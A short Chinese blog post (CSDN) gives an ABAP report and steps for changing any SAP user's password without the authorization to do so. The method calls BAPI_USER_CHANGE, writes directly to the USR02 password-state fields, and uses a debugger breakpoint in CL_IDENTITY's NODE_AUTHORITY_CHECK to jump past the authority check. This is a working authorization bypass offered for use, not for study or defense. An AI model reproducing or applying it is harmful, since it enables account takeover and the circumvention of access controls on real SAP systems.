ABAP 无权限修改账号密码操作

该文描述了一种在没有修改密码权限但有DEBUG权限的情况下,通过调用BAPI_USER_CHANGE函数来尝试更改用户密码的方法。代码示例中,先尝试通过BAPI进行密码变更,然后更新USR02表以设置新密码。如果操作成功,会在SE24的CL_IDENTITY中解除权限检查。
摘要由CSDN通过智能技术生成

ABAP 无修改账号密码权限,但是有DEBUG权限

操作方法 Copy 程序 

REPORT  ytest0014.
 
PARAMETERS:p_user      TYPE bapibname-bapibname.
PARAMETERS:p_psword    TYPE bapipwd-bapipwd.




START-OF-SELECTION.

  DATA ls_password           TYPE bapipwd.
  DATA ls_passwordx          TYPE bapipwdx.
  DATA lt_return             TYPE STANDARD TABLE OF  bapiret2 .

  ls_password-bapipwd = p_psword.
  ls_passwordx-bapipwd = abap_true.

  CALL FUNCTION 'BAPI_USER_CHANGE'
    EXPORTING
      username  = p_user
      password  = ls_password
      passwordx = ls_passwordx
    TABLES
      return    = lt_return.

  READ TABLE lt_return INTO DATA(ls_return) WITH KEY type = 'E' .

  IF sy-subrc IS INITIAL .

    WRITE 'E'.

  ELSE.
    UPDATE usr02 SET pwdinitial = '2'
                     pwdstate   = '0'
                     ltime      = sy-uzeit
              WHERE  bname = p_user.

    COMMIT WORK .

    WRITE 'S'.
  ENDIF.

SE24  CL_IDENTITY

在方法里面 NODE_AUTHORITY_CHECK 打上断点,跳出检查

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值